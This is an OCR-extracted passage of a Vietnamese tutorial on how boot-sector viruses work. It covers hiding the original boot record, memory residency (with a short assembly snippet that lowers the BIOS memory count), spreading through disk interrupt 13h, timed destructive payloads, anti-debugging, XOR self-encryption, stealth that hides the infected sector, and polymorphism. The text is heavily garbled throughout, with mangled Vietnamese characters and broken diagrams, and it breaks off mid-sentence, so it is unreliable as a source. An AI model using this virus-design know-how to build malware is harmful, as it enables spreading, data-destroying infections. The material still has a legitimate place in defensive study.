logic dia), doan ma lay cho dia mém ciing sé€ dugc ding tuong tu nhu cho dia cing.
Tuy nhién lai phai tén kém cho giai thuat dinh vi mot partition boot dugc, chinh
diéu nay lai gy cho n6 mot bat loi: khong lay dugc trén dia cing khong cé Active
partition.

Viéc lua chon partition table hay boot sector van 1a mot van dé dang ban cdi giita
cdc nha viét Virus, tuy nhién hau hét cdc Virus sau nay déu ding Master boot hon
1a boot sector.

Vén dé then chot ma Virus can phai giai quyét 1a Boot sector nguyén thuy cua
dia. RO rang boot ndy phai duoc thay, tuy nhién Virus khong thé 1am thay hét moi
chuyén cho mot boot record vi thuc su d6 1a mot doan ma c6 rat nhiéu muc dich.
Chinh vi vay Virus ciing khong thé bo duogc boot sector. Thay vao d6, né sé cat boot
nay vao moét chd nhat dinh nao d6 & trén dia, va sau khi thi hanh xong tic vu cai dat
ctia minh, Virus sé doc va trao quyén cho boot cii. Moi viéc dugc boot cil tiép tuc
lam trong rat “binh thuong”. Tuy nhién khé khan lai xuat hién: cdt boot record cii &
dau khi ma moi chd trén dia déu c6 thé bi stra d6i: FAT, ROOT va nhat 1a Data
area. Cach giai quyét cau hdi nay ciing gidp ching ta phan loai chi tiét hon vé B-
Virus.

2. Phan loai B-Virus

Cach giai quyét trén duge B- Virus gidi quyét 6n thao theo hai hudng: cat Boot
record 1én mot vi tri xac dinh trén moi dia va chidp nhan moi rai ro mat mat Boot
sector (do bi ghi d¢), du tat nhién ché cat gidu nay cé kha nang bi ghi d¢ thap nhat.
Huéng nay don gian va do d6 chuong trinh thuong khong 16n, chi ding mot sector
thay ché boot record, va do d6 duogc goi tat ca la SB- Virus (Single B- Virus). Mat
khéc, c6 thé cat Boot sector nay vao mot noi “an toan” trén dia tranh moi sai 1am,
mat mat c6 thé xay ra. Vi kich thuéc viing an toan c6 thé dinh bat ky, nén chuong
trinh Virus thudong chi€ém trén nhiéu sector, va dugc chia thanh 2 phan: mot phan
trén Boot record, mot phan trén dia (trén ving an toan). Vi dic diém nay, nhém nay
duoc goi 1a DB- Virus (Double B- Virus).
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a. SB- Virus.

Do tinh dé dai, chdp nhan mat mét nén chuong trinh ngan gon chi chi€ém ding
mot sector. Thong thuong SB- Virus chon noi cat gidu Boot 1a nhitng noi ma kha
nang bi ghi de lén 1a it nhat.

Dai véi dia mém, cac noi thudng dugc chon la:

- S6 di€ém vao & nhiing sector cu6i thu muc goc (root directory) thudng khong
dugc dung dén, va nhiing sector nay 1a noi ly tudng dé cat gidu boot record.

- Khi phan phoi cluster cho mot file ndo, DOS ciling bat ddu tim cluster trong tir
dau ving data cin ct vao diém vao cua né trén FAT, do d6, nhitng sector cudi
cung trén dia ciing khoé ma bi ghi de len. Day 1a noi ly tudng dé cat gidu Boot
record.
boi véi dia cing, moi chuyén xem ra lai don gian. Trén hau hét cac dia cing,

track O chi chita Partition table (cho du dia d6 c¢6 mot partition) trén sector 1, con

nhiing sector con lai trén track nay déu khong duoc dung dén. Do d6, cic SB- Virus
va hau hét DB- Virus déu chon noi nay lam chon nuong than.

b. DB- Virus.

Mot sector véi kich thuée 512 byte (do DOS quy dinh) khong phai 1a qua rong
rdi cho nhiing nguodi viét Virus nhiéu tham vong. Tuy viéc m& rong kich thudc
khong phai dé dang, ho ciing di gidi quyét bang cdch dat ti€p mot boot record gia
lén sectorl, track 0, side 0, boot record nay c6 nhiém vu tai “hé di€u hanh” Virus
vao trong vung nhd roi trao quyén. Sau khi cai dat xong, “hé di€u hanh” mdi tai
Boot record that vao. “Hé diéu hanh” nay phai ndm & mot “Partition” nao d6 ngay
trong 1ong DOS hay tir mot phan khéc trén dia. Cach giai quyét nay c6 thé 1a:

Doi véi dia cing: nhitng sector sau partition table s€ 1a chon nuong than an toan
hoac giai quyét tuong tu nhu véi ddia mém.

D61 v6i dia mém: qua mat DOS bing cdch dung nhitng cluster con trong dé chia
chuong trinh Virus. Nhitng diém vao duong ting véi cdc cluster nay trén FAT ngay
sau d6 s& bi danh dau “Bad cluster dé DOS khong con ngé ngang dén nita. Phuong
phap nay td ra hitu hiéu vi s6 lugng cluster duoc dung chi bi han ché& bdi s6 luong
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cluster toi da ctua dia con dung dugc. Tuy nhién mat manh nay ciing la mat yéu cua
né: dé bi phat hién boi bat ky mot phan mém kiém tra dia. Cho du thé nao di nita
phuong phap nay van dugc wa chudng cho cac loai DB- Virus, vi tinh tuong thich
v6i moi loai 6 dia.

Phuong phdp thit 2 ¢6 nhiéu tham vong hon: vuot ra khoi tAm kiém soat clia
DOS bang cich tao thém mot track méi ti€p theo track cudi ma DOS dang quan 1y
(chi 4p dung d6i v6i dia mém). Mot dia 1,44MB c¢6 80 track duoc danh s6 tir 0 dén
79 s& duoc tao thém mot track s6 80 chang han. Piéu nay ciing tao cho Virus mot
khoang trong rat 16n trén dia (18sector*1/2KB=9KB).

Tuy nhién, phuong phdp nay da to rd nhuoc diém cta ching trén céc loai 6 dia
mém khdc nhau. Cic bo diéu khién dia mém khdc nhau c6 thé c6 hoic khong cé
kha nang quan 1y thém track. Do d6 da tao ra 16i doc dia khi Virus tién hanh lay lan
(dia kéu cot két).

Cho du 1a loai SB- Virus hay DB- Virus di nita, ciu tric bén trong ctia ching van
nhu nhau. D€ ¢6 thé ¢6 cdi nhin ding dian vé Virus, ching ta s&€ bat ddu khao sat B-
Virus bang cach phan tich c4u tric cta né.

3. Cau tric chuong trinh Virus.

Do dic diém chi dugc trao quyén diéu khién mot 1an khi Boot mdy, Virus phai
tim moi bién phép dé ton tai va duoc kich hoat lai khi can thiét — nghia 1a xét vé mit
nao dé — no cling giong nhu mdt chuong trinh thuong trd TSR (Terminate and stay
resident). Do vay, chuong trinh Virus duoc chia lam 2 phan: phan khai tao (install)
va phan than. Chi tiét timg phan s€ dugc khao sat dudi day.

a. Phan install

Viéc uu tién hang ddu 1a van dé thudng tri, khong thé dung duoc cic chifc ning
cua DOS dé xin cap phét ving nhé (vi DOS ciing chua dugc tai vao lic ndy), Virus
danh phai tu nhién lam 14y, va trong thuc t€ viéc nay khong khé. Theo sau van dé
luu trd luon luon 13 viéc chuyén toan bo chuong trinh Virus (ma ta s€ goi la
“pro_vi” program Virus) sang ving nay va tién hanh thay th€ mot loat cdc ngat
cing. Pro_vi luon chiém ngét 13H, ngoai ra dé phuc vu cho cong tiac pha hoai, gay

nhiéu .v.v.., pro_vi cdn ¢6 thé chiém céc ngit 8,9 .v.v... vd tham chi hién nay con
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chi€m ca ngat 21H cua DOS nita. Sau khi d install xong, boot record cii s& dugc tra
lai ddng dia chi va trao quyén.

Dai véi loai DB- Virus, phan install s€ ti€n hanh tai toan bo phan than vao ngay
sau khi dugc nap truGe khi thi hanh cac bude trén. Su khac nhau nay chi don gian la
do kich thude ctia né qua 16n ma thoi.

So d6 cuia phan install ¢6 thé t6m tit bang so d6 khoi sau:

ba ton tai trong bo

p Thoat
nho chua

DPoc phan than (néu 1a DB- Virus)
SB- Virus b qua phan nay

Chuyén chuong trinh
va luu tra

\

Chié€m céc ngat cling
(13,8,9...)

:

Tra Boot sector
ca

l

JMP FAR 0:07C00
(Nhay dén dia chi
0:07C00M)
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b. Phan than.

La phan quan trong cia mot Virus, chita cic doan ma ma phan 16n s€ thay thé
cho cédc ngét. C6 thé chia phan nay 1am 4 phan nho ting véi 4 chiic nang 16 rét.

Phan lay lan: La phan chinh cia phan than, thay thé€ cho ngat 13H, ¢6 tdc dung
lay lan bang cdch copy chinh chuong trinh nay vao bat ky mot dia nao chua bi
nhiém.

Phan pha hoai: Bit ky mot Virus nao ciing ¢6 doan ma nay vi 1y do don gian
khong ai bd cong siic dé tao ra mot Virus khong lam gi c4, ma ngudi tao ra cé thé
phai ganh ldy mot phan trach nhiém néu bi phat hién 1a tac gia. Phan pha hoai c6
thé chi mang tinh hai huéc tréu choc nguoi sir dung thach do vé giai thuat ngan gon
.V.v... cho dén nhitng ¥ d6 x4u xa nham huy diét dit liéu..

Phan dir liéu: D€ luu chia nhitng thong tin trung gian nhitng bién noi tai dung
riéng cho chuong trinh Virus, cho dé€n nhiing bo dém gio, dém s6 1an lay phuc vu
cho cong tc “pha hoai”.

Phéan Boot record: thuc ra phin nay c6 thé khong nén ké vao chuong trinh Virus
vi n6 thay déi tuy theo dia ma khong dinh ddng, khong anh hudng gi dén chuong
trinh Virus. Tuy nhién, v6i mot quan diém khéc, pro_vi luon luon phai dam bao dén
su an toan cua boot sector, su bao dam nay chat ché dén ndi hau nhu boot sector
luon “cap ke” bén canh chuong trinh Virus, trong bd nhé cling nhu trén dia. Mat
khac, néu két luan pro_vi khong st dung dén boot record 1a khong ding vi moi viéc
dinh vi cdc phan trén dia, Virus déu phai 1ay thong tin trong BPB (Bios Parameter
Block) trén dia doi tugng. Vi vay Boot sector cling dugc xem nhu mdt phan khong
thé thi€u cua chuong trinh Virus. Khi moi viéc install da duoc 1am xong. Boot
record nay dugc chuyén dén 0:07COO0H va trao quyén diéu khién.

Pé Virus c6 thé ton tai va phat trién, van can phai c6 mot s6 yéu ciu vé moi
truong cling nhu chinh Virus. Trong phan tiép theo ching ta sé€ phan tich cac yéu

cau 6 mot B-Virus\

4. Cac yéu cau cua B- Virus.
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a. Tinh ton tai duy nhat.

Virus phai ton tai trén dia cling nhu trong bo nhd, d6 1a diéu duong nhién. Tuy
nhién, viéc ton tai qua nhi€u ban sao ctia chinh né trén dia chi lam cham qua trinh
Boot, mit khéc, né ciing chi€ém qud nhiéu viing nhg, anh huéng dén viéc tai va thi
hanh cdc chuong trinh khac. D6 1a chua ké toc do truy xuat dia s& cham di diang ké
néu ¢6 qua nhiéu ban sao nhu thé trong ving nhd. Chinh vi 1y do nay, mot yéu ciu
nghiém ngat d6i véi moi loai B- Virus 1a phai dam bao dugc su ton tai duy nhat cta
minh trén dia. Su ton tai duy nhat trén dia s& dam bao su ton tai trong viing nhé sau
do.

Tuy nhién, véi t6c do tang ddng ké vé s6 luong B- Virus, hién twong 2,3 hoic
nhi€u Virus cliing “chia xé” mot dia tat nhién s& xay ra. Trong trudng hop nay, viéc
kiém ra su ton tai s& din dén su sai léch va hau qua 1 Virus s€ tao ban sao chinh né
nhiéu lan trén dia, gay khé khin cho viéc sita chita phong chong.

b. Tinh thuong tra.

Khong nhu F- Virus, B- Virus chi duoc chuyén giao quyén diéu khién 1 1an duy
nhat. Do d6, né phai dugc thuong trd (TSR) trong mdy tinh. Tuy nhién, khi Virus
vao ving nhd, DOS chua dugc trao quyén t6 chiic bo nhé theo y minh, do d6 Virus
c6 quyén chi€ém doat khong khai bdo bat ky mot luong viing nhé nao ma né cén,
DOS sau d6 s€ quan ly phan con lai ctua viing nhé.

c. Tinh lay lan.

Day khong phai 1a yéu cdu cin ¢6 ma 1a bat buoc phai ¢6 néu Virus mudn ton tai
va phat trién. Viéc lay lan chi xdy ra trong qué trinh truy xuat dia nghia 1a Virus s&
chi phoi ngit 13H dé thuc hién viéc lay lan.

d. Tinh pha hoai.

Thudc tinh nay khong bat budc ¢6, nhung hau nhu (néu khong néi 12 tat cd) moi
Virus déu c¢6 tinh phd hoai. Nhitng doan ma pha hoai nay sé dugc kich hoat khi dén
mot thoi diém xéc dinh nao dé.

e. Tinh gay nhiém va nguy trang.

Khi ban chat cta Virus dugc khao sat tuong tan thi viéc phat hién Virus khong
con 1a van dé phdc tap. Do d6 yéu cau nguy trang va gay nhi€u ngay cang trd nén
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cép bach dé bao dam tinh song con clia Virus. Viéc gay nhiéu tao nhiéu kho khan
cho nhitng nha choéng Virus trong viéc theo doi chuong trinh dé tim cach khoi phuc
Boot, viéc nguy trang 1lam cho Virus c6 mot vé bé ngoai “nhu that” khi dem so sanh
v6i Boot chudn, 1am cho kha niang phat hién budc dau bi bo qua.

f. Tinh tuong thich.

Khong nhu F- Virus, B- Virus khong phu thudc vao hé dicu hanh nao (mac du
nhiing Virus sau nay qua lam dung kha nang ctia DOS). Tuy nhién vi dia c6 qua
nhi€u loai, riéng dia mém ciing ¢6 loai 1,44M loai 3M,.. cling gay nhi¢u kh6 khan
cho Virus trong viéc thiét k&. N6 phai twong thich — hiéu theo nghia lay dugc- véi
moi loai dia. Cang tuong thich bao nhiéu kha nang ton tai va lay lan sé cang cao
bay nhiéu.

Mat khac, su thira k& cua cac bo vi xtr 1y (8086-80x86, AMD,..) da lam xuat hién
nhiéu diém di déng mic du tinh tuong thich duoc dam béo t6i da.

Mot vi du don gidn c6 thé ké ra & day: & bo vi xtr 1y 8088, c6 thé gan gia tri tir
thanh ghi AX vao thanh ghi phan doan ma CS bang bo vi xtr 1y khac.

Cac yéu cau cia mot B- Virus da duge khao sat xong. Tuy nhién, nhitng k¥ thuat
dé bién cdc yéu cau nay thanh hién thuc lai chua dugc dé cap dén. Phan sau s& minh
hoa tung k¥ thuat nay mot.

5. Phan tich ky thuat.

Yéu cau dau tién la phai dua ra k§ thuat luu trd — k§ thuat nay sé anh hudng dén
moi tac vu sau do.

a. Ky thuat luu tru

Khi thuc hién xong chuong trinh POST, gia tri tong s6 viing nhéG vira duoc test
(ving nhé co ban) s€ luu vao vung Bios data & dia chi 0:413H. Khi hé di€u hanh
nhan quyén diéu khién, né sé coi ving nhé ma né sé& kiém soat 1a gia tri trong dia
chi ndy. Do d6, sau qud trinh POST va truéc khi hé di€éu hanh nhan quyén diéu
khién, néu “ai” d6 thay doi gid tri trong dia chi ndy s& 1am cho hé diéu hanh mat
quyén quan ly ving nhé d6. Tat ca cidc B- Virus déu lam diéu nay, tuy theo kich
thudc chuong trinh Virus va Buffer cho rién n6, ving nhé co ban sé bi giam xuong
tuong tng. Tuy nhién, cho dén nay, hau nhu khong c¢6 Virus nao chiém hon 7KB
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cho mot minh né. Tuy nhién viéc ton tai nhiéu loai Virus trén mot dia boot sé lam
cho may ton kha nhi€u bo nhé va do d6 cling gép phan giam toc do thuc hién.

DPoan ma sau s&€ minh hoa cho ky thuat nay bang cdch giam viing nhé di 2KB:

mov ax,ptr word[0413] ;nhap dia chi viing vao ax Bios data dé xir Iy
dec ax stri di 1
dec ax ;trur tiép 1

mov ptr word[0413],ax ;vung nhé da bi giam
(chi y thuong 1a B- Virus duoc viét bang assembly vi kich thuGc chuong trinh nho
va nhanh va can thiép thang vao hé thong).

Tuy nhién, vé sau k§ thuat nay boc 16 nhiéu nhugc diém: khi gap warm boot
(khoi dong néng CTRL+ALT+DEL), qua trinh test bo nhé khong duoc thuc hién lai
va do d6 Virus lai tu né giam kich thudc bd nhé thém mot 1an nira, néu qua trinh
nay lap di 1ap lai vai 1an s€ lam diy viing nhé va d6 sé 1a dau hiéu “déng ngd” vé su
xuat hién cua Virus. D€ giai quyét truong hop ndy, truéc khi tién hanh luu trd,
Virus s€ kiém tra su ton tai cia minh trong viing nhd, néu khong gap mot nhan
dang ddng ké nao, viéc luu trd méi dugc thuc hién.

b. K§ thuat kiém tra tinh duy nhat.

Dau tién, chi c6 viéc kiém tra trén dia, mot dia chua bi lay s€ bi lay, néu c6 r6i
thi thoi khong thuc hién lay. Tuy nhién, nhu da dé cap trén, nhugc diém cua phuong
phdp luu tri cting doi hoi k§ thuat ndy dugc dp dung vao viéc ki€ém tra viing nhd.
Tuy vay, vin c6 su khdc nhau giita 2 cdch kiém tra ny. Ta s& xét 2 c4ch nay.

i. Trén dia.
Viéc kiém tra trén dia gap nhiéu diéu phién todi vi n6 doi hoi phai thoa man 2
yéu ciu
- Thoi gian kiém tra: Néu moi tdc vu doc/ghi déu phai kiém tra dia thi rd rang
rang thoi gian truy xuét s€ bi tang gap doi, gia ting nguy co bi nghi ngo.
- K§ thuat kiém tra: phai ddm bao tinh chinh x4c giita mot dia da bi lay va mot dia
chua bi lay, ciing nhu bao dam tinh truing hgp ngau nhién la it nhat.

Dé giai quyét ca 2 yéu cau trén, cdc k¥ thuat sau da duoc cac Virus 4p dung.
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D6i véi thoi gian ki€m tra ¢ thé giam s6 14n kiém tra xuoéng bang cdch chi kiém
tra néu phat hién c6 su thay déi truy xudt tir 6 nay sang 6 khac, mit khac chuyén so
lan kiém tra thudong xuyén thanh “dinh ky” bing cach kiém tra thoi gian. Mot hinh
thitc khdc ciing giam b6t s6 14n kiém tra néu ta dé y dia cing luon luon c6 dinh
khong bi thay déi, do d6 néu tién hanh lay mot 14n s& khong can thiét phai kiém tra
lai, con doi v6i dia mém, xay ra céc hoat dong lién quan dén track O thi méi kiém
tra. Diéu nay ciing khong c6 gi ding ngac nhién néu ta biét FAT trén dia mém hau
nhu bét ddu sau Boot record, va DOS can phai c6 bang FAT dé quan ly dia do.

D61 v6i k§ thuat kiém tra, ¢6 nhiéu cach. Tuy nhién c6 thé néu ra 2 c4ch sau:

- Kiém tra gid tri tir khod: mdi Virus s€ tao cho minh mot gid tri dac biét tai mot
vi tri x4c dinh trén dia. Viéc kiém tra s& don gian bang cach doc Boot record lén dia
va kiém tra gia tri tir khod nay. Gi4 tri cta tir khoa nay thay déi tuy theo Virus.

- Mot dang khdc cuta gid tri tir khod 12 kiém tra gid tri cia mot ma lénh dic biét
ma néu khong c6 ma lénh nay chuong trinh Virus s€ khong con y nghia gi nira
(Virus s€ khong lay hay khong thi hanh).

Ky thuat key value nay da gap nhi€u trd ngai khi s6 luong B- Virus tang lén
ddng ké ma vi tri trén Boot sector thi ¢6 han. Vi vay khong ¢ gi ddng ngac nhién
néu xay ra trung lap to khod. Chinh vi vay, mot ky thuat méi phai duoc dua ra
nham khéac phuc diéu nay.

Cach khac phuc nay sé lam giam kha nang tring hgp ngiu nhién bang cdch tang
s6 lugng ma Iénh cin so sdnh 1én. Viéc so sdnh nay tién hanh bang cach so sianh
mot doan ma quan trong ctia Virus trong vung nhé véi doan ma tuong tng trén boot
sector cua dia. Moi su khac biét du chi trén mot byte cling dan dén viéc lay lan.
Poan ma so sanh nay can phai mang tinh chét dac biét cho Virus dé, cung ton tai
vdi su ton tai cua Virus do.

Ngoai ra, khong phai da hét céach, cac ky thuat kiém tra khdc c6 thé néu ra ¢ day,
nhu k§ thuat checksum, tuy nhién ky thuét cang tinh vi, cang chinh xac bao nhiéu
thi doan ma kiém tra cang dai bay nhiéu. Tru6c mat, k§ thuat trén ciing da bao dam
toc do kiém tra va tinh chinh x4c nén c6 I8 s& khong con mot kj thuat nao khic
dugc dua ra (kha nang dé mot dia trung doan ma hau nhu 1a khong c6)

ii. Trong vung nho.
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Viéc kiém tra su ton tai ciia minh trong viing nhé dam bao chi khong dé
Virus ¢6 qua nhi€u ban sao cua minh trong viing nhé néu may tinh khé dong néng
lién tuc (warm boot) diéu nay bao dam cho Virus tranh dugc nguy co bi phat hién vi
da lam giam toc d6 lam viéc cua chuong trinh, mat khac lam giam di thoi gian
“nap” lai chuong trinh Virus vao vung nhé.

Pé kiém tra su ton tai ciia minh trong viing nhd, B- Virus don gian c6 thé do tim
mot key value tai mot vi tri xdc dinh trén viing nhd cao, hodc phtc tap hon, c6 thé
do tim mot doan ma Virus s€ phai nap chuong trinh cia minh vao néu viéc do tim
khong thanh cong.
c¢. Ky thuat lay lan

Viéc lay lan chiém mot phan 16n ma 1énh cua chuong trinh. D€ bao dam viéc lay
lan gan lién véi dia, Virus s& chi€ém ngat dia quan trong nhit: ngat 13H. So do
chung cta phan nay nhu sau:

Doc Boot sector

S

Ghi Boot sector
cua Virus

l

Ghi phan than va
Boot sector vao mot
vung xac dinh

- !
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Thong thudong khong phéai moi chic nang ctia ngat 13H déu dan dén viéc lay lan
vi diéu nay s€ lam giam di t6c do truy xuidt mot cach dang ngd ma t6t nhat chi
nhitng tic vu doc ghi (chitc nang 2 va 3). Viéc lay lan bat dau bang céch doc Boot
sector 1én va kiém tra xem da bi lay hay chua bang cdc cdch ki€ém tra trén, néu
khong thoa (chua bi nhiém) Virus sé tao mot boot sector méi ¢6 cac tham so tuong
ung. Boot méi nay s€ dugc ghi vao vi tri ctia Boot sector, con Boot sector s€ doc 1én
cung v6i phan than (néu la loai DB- Virus) s€ duoc ghi vao mot viing xac dinh trén
dia. Tuy vay viéc lay lan ciing doi hoi nhiing bao dam sau:

Boot sector van con chita nhitng tham s6 dia thuéan tién cho cdc tac vu truy xuét
dia (bang tham s6 BPB — trong truong hop Boot sector hay bang partition table
trong truong hop Master boot), do d6 Boot sector phai bao dam cho dugc bang tham
s6 nay bang céach luu giit né. Viéc khong bao toan ¢ thé din dén chuyén Virus sé
mat quyén diéu khién hay khong thé ki€m soat duoc dia néu Virus khong cé mit
trong moi truong. Vi du: phan mém NDD (Norton Disk Doctor) sé diéu chinh lai
bang tham s6 dia trén 6 dia khi thay su thay d6i. Do d6, diéu t6t nhat 1a van phai giit
nd lai trong Boot sector méi va mot ich 1oi thit hai 12 c6 thé dua vao day dé dinh ra
cac thanh phan cuta dia.

Su an toan di liéu ctia Boot sector cling dugc dat 1én hang dau. Ngoai viéc chap

nhan mat mat do dat & nhitng ché ma xéc sudt bi ghi de¢ it nhat, chiing ta sé khao sat
2 k¥ thuat dam boa an toan cho Boot sector. D6 la dinh dang thém track va danh
d4u cluster hong trén dia.
+ Dinh dang thém track: k¥ thuat nay chi 4p dung dugc trén dia mém (trén dia cling
da c6 nhitng ving tuyét doi an toan roi). Thong thudong, bo diéu khién dia mém déu
cho phép dinh dang thém track, tuy nhién do mic do an toan thong tin khong bao
dam. DOS chi dung moét s6 nao dé6 ma thoi. Viéc dinh dang thém track doi hoi
Virus phai chudn bi bang mo ta sector trong track ma né du dinh dinh dang (sector
desciptor) ¢6 dang: mdi sector trong mot track duoc dac trung 4 byte c6 dang
‘CHNS’.

Trong do:

C = Cylinder

H = Head
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N = So sector

S = kich thudce cua sector (0 = 128 byte, 1 =256 byte, 2 = 512 byte ...)

Céc budc thuc hién dinh dang nhu sau:

- Xéc dinh loai dia d€ tir d6 suy ra track cudi cling, tuy nhién diéu nay chi ding
v6i dia duoc dinh dang duéi DOS.

- it lai cau hinh 6 dia duoc dinh dang.

- Khdi tao bang sector descriptor can ctt vao so track tinh duoc.

Du vy phuong phdp nay van it dugc ua chudng va vi tinh twong thich khong cao

gifta céc loai 6 dia. Phuong phéap chi€ém cluster vin dugc nhiéu ngudi dung du do
phtc tap ctia n6 cao hon. Cac van dé gap phai:
+ Nén phan tich FAT chi cho dia mém hay cho ca hai loai dia mém 1an dia cting?
Thong thuong cac chuyén gia Virus chon phuong an chi phan tich trén FAT cua dia
mém vi tat ca cdc loai dia mém (va ca dia cing duoi 12MB) déu dung loai FAT 12,
va phai phan tich thém FAT 16, FAT 32 mat khéc, cac dia cung du c6 phan chia
Partition thém hay khong ciing thudng c6 cdc sector 4n khong dung dén (néu né
chua bi mot Virus khac chi€ém dung), rat thuat Igi cho viéc che giau.

Tuy nhién, van c¢6 ngoai 1€, n6 chi€ém cac cluster trén ca hai loai FAT véi doan
ma phan tich FAT ‘t6i wu’ vé kich thudc cling nhu giai thuat, duoc ‘trich doan’ tir
doan ma phan tich FAT trong file hé thong IOSYS ctia DOS.

+ Chon phuong phép nay, ngudi viét Virus phai chap nhan tai FAT vao ving nhd dé
phan tich. Tuy nhién, kich thuéc FAT ctia mdi dia 1a khdc nhau, c6 thé chi€ém nhiéu
sector. Do d6 kich thuéc ving nhé ma Virus phai chi€ém ché cho FAT ciing da qué
16n, chua ké dén doan chuong trinh ctia Virus. Gidi quyét van dé nay ciling khong
phai dé dang.

d. Ky thuat pha hoai.

Khong ai xa la gi vé ki€u phd hoai ctia Virus (doi khi ciing d6 16i cho Virus dé
che dau su thi€u hi€u biét ctia minh). C6 thé chia thanh 2 kiéu pha hoai chinh.
i. Pinh thoi.
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Do6i v6i loai dinh thoi, Virus s& ki€ém tra mot gid tri (c6 thé 1a ngay gid, s6 lan
lay, s6 gi0 mdy chay,..). Khi gi4 tri ndy vuot qua mot gid tri cho phép, Virus sé& bat
ddu pha hoai. Do tinh chat chi ra tay mot 14n, Virus loai ndy thudng nguy hiém.

+ D€ c6 thé dém giv, Virus c6 thé ding cdc cach sau:

- Chiém ngit 8h dé dém gio, viéc quy dodi s& dugc tinh tron hon 1a chinh xac.

- Chiém ngat 21h cia DOS dé 14y ngay thang: viéc 1ay ngay thdng xem ra khé
khan cho B- Virus hon 1a F- Virus, vi & mic d6 qué thap, khi mdy vira khoi
dong, DOS chua khdi tao cac ngat cho riéng minh, ké ca ngat 21h. Do d6 Virus
chi ¢6 thé 14y ngay thang tir CMOS RAM. Dén bay gio cac B- Virus dung cich
quay lai mot 14n nita dé 1dy ngat 21h.

- DPém s6 1an lay cho cic dia khéc: cach nay dé thuc hién hon vi khong cin phai
dém gio, ngay thang cho mat cong. Khi mot dia duoc Virus ‘ky tén’ vao, bd dé€m
ctia n6 s€ tu dong tang 1én mot don vi. Khi s6 dia bi lay da vugt qua mot con s6
cho phép, dia dé s€ bi phd hoai,..

Viéc pha hoai dinh thoi nay gy ra nhicu tac hai nghiém trong vi stc pha hoai
ctia n6 khong dung & muic ‘dua’ ma de doa truc ti€p dén cac co s& dir liéu. Mat
khdc, viéc pha hoai dién ra trén mot dién rong va dong thoi cling gay ra mot tac hai
khong thé luong dugc c6 thé 1am dinh tré moi cong viéc ma cong viéc khoi phuc
(néu c6 thé duoc) cling ton nhiéu cong stc va thoi gian.

ii. Ngau nhién va lién tuc.

Virus khong can phai dém gio, chi sau vai phiat xam nhap vao hé théng, né sé
phat huy tac dung. Do tinh chit nay, Virus khong mang tinh pha hoai ma chi don
gian 12 gdy mot s6 hiéu ting phu,.. d€ gay su ngac nhién va thich thi hoic buc tic
cho nguoi st dung.

e. Ky thuat nguy trang va gay nhiéu.

K§ thuat nay ra doi kha mudn, do khuynh huéng ngay cang dé bi phat hién. Kich
thuGc Virus kha nhé bé, do d6 viéc do timg budc xem né lam gi 1a di€u ma nhiing
ngudi 1ap trinh ¢6 thé 1am duoc. Trong thuc t€ khé c6 mot phuong phép hitu hiéu
nao dé chong lai ngoai viét co tinh ric r6i. Phuong phéap nay c6 vé c6 dién, nhung

lai rat hitu hiéu. Bang mot loat cdc 1énh ma ngudi do theo c6 thé bi ngit mdy dot
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ngot nhu dat lai Stack vao mot viing ma khong ai dam thi hanh tiép, chiém va xoa
mot s6 ngét, dat lai thanh ghi phan doan dé ngudi do khong biét dit liéu 14y tir dau
ra v.v.. Cac chuong trinh B- Virus bay gio da gay khong it khé khan cho sy khoi
phuc dia da bi nhiém. Mot phuong phéap khac c6 thé dung 12 ma hod ngay chinh
chuong trinh Virus, thuong 1a nhitng phuong phdap ma hoa tuong doi don gian.
Phuong phdp phdp phd bién 1a 4p dung cdc phép todn s hoc/logic 1én chuong trinh
Virus véi khod ma 1a mot gid tri byte hay word. Trong d6 phép XOR thuong duoc
stt dung do tinh don gian, mat khac, thi tuc ma héa ciing 1a thu tuc giai ma.

Viéc gy nhiéu nay chi ¢6 tdc dung trén cdc mday da bi nhiém hoac dung mot
phan mém debug theo doi. Néu toan bo chuong trinh Virus duoc d6 ra thanh file va
xem ‘ting budc mot’ thi Virus ciing danh phai 16 dién.

D¢ trdnh phat hién qud s6m hodc bi phat hién bdi cdc phan mém chong Virus,
doi hoi Virus phai ¢6 tinh nguy trang. Viéc nguy trang nay xay ra trong vung nhd
lan trén dia.

Doi v6i ving nhé, véi ky thuat luu trd, B- Virus luon chi€ém & ving nhé cao, do
do6 s€ tao ra chénh 1éch ving nhé do BIOS quan 1y va ving nhé thuc su cua may.
Bat ky mot phan mém kiém tra viing nhd nao ciing ¢6 kha niang thong béo 16i nay
(chiang han Pctools, Syslnfo,..). Thuc t€ ndy gay khé khan cho céc nha lap trinh
Virus.

Dai v6i dia, moi chd y déu tap trung vao Boot sector (va Partition Table nita).
Moi thay déi trén Boot sector dit nho ciing tao mot maéi nghi ngd cho ngudi st dung
— ngudi da c6 kinh nghiém qua nhiéu 1an phé hoai cua Virus. B- Virus da giai quyét
van dé nay bang 2 cach:

Chi cai ding doan ma chinh vao Boot sector (néu Virus thuoc loai DB- Virus),
doan ma nay cang ngin gon cang t6t va nhat 12 cang giéng doan ma chuén trong
Boot sector cang tot. Poan nay chi ¢c6 mot nhiém vu 1a nap ti€p phan con lai vao
trong viing nhg va trao quyén cho né. Vi 1y do nay kha nang phat hién Virus da
giam xuong ddng ké. Tuy vay, cach thit hai van luon duoc ap dung: khi mdy dang
nam trong quyén chi phéi ctia Virus, moi yéu ciu doc/ghi Boot sector (hay Partition

Table), (tat nhién 1a trir chinh Virus ra) sector dugc tra vé cho mot ban Boot chudn —
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Boot sector trudgc cua may va danh lira luon ca nhitng chuong trinh Antivirus néu n6

khong dugc thiét k€ tot.

f. Ky thuat dinh vi chuong trinh.

K§ thuat nay it duoc ai dé ¥, du ring né dong mot vai tro khong nho trong viéc
gay nhiéu, va dé thiét k€ chuong trinh .

Nhu ta da biét, Boot sector dugc tai vao dia chi 0:07COO0H. Nhu vay, cac dit liéu
trong bang tham s6 phai duoc tham chi€u bing CS va ldy ra tir offset 07COOH. Dé
don gian hoa cac tham chi€u, c6 thé sir dung hai phuong phap sau dé c6 thé sir dung
mot offset quen thudc hon (0 hoac 0100H — tuong tng v6i céc file thi hanh dang
.BIN, .COM):

- Phan ph6i mot ving nhd dé thudng trd, chuyén toan bo chuong trinh Virus t6i
viing nhé nay, sau d6 chuyén toan bo chuong trinh Virus t6i ving nhé nay, sau
d6 chuyén quyén diéu khién cho doan mi tai ving nhé méi vé6i dia chi
segment:offset maoi.

- Slr dung mot lénh nhay JMP FAR 07COH:0xxxx chuyén quyén diéu khién dén
mot 1é€nh tai chinh ving nhé 0000:07COOH, nhung vé6i segment:offset khac.

g. Ky thuat da hinh.

Mic du Virus ¢6 thé duoc ma hod, tuy nhién doan chuong trinh ma hoa van co

dinh, vi vay cdc chuong trinh diét Virus c6 thé phat hién Virus mot cach dé dang. y

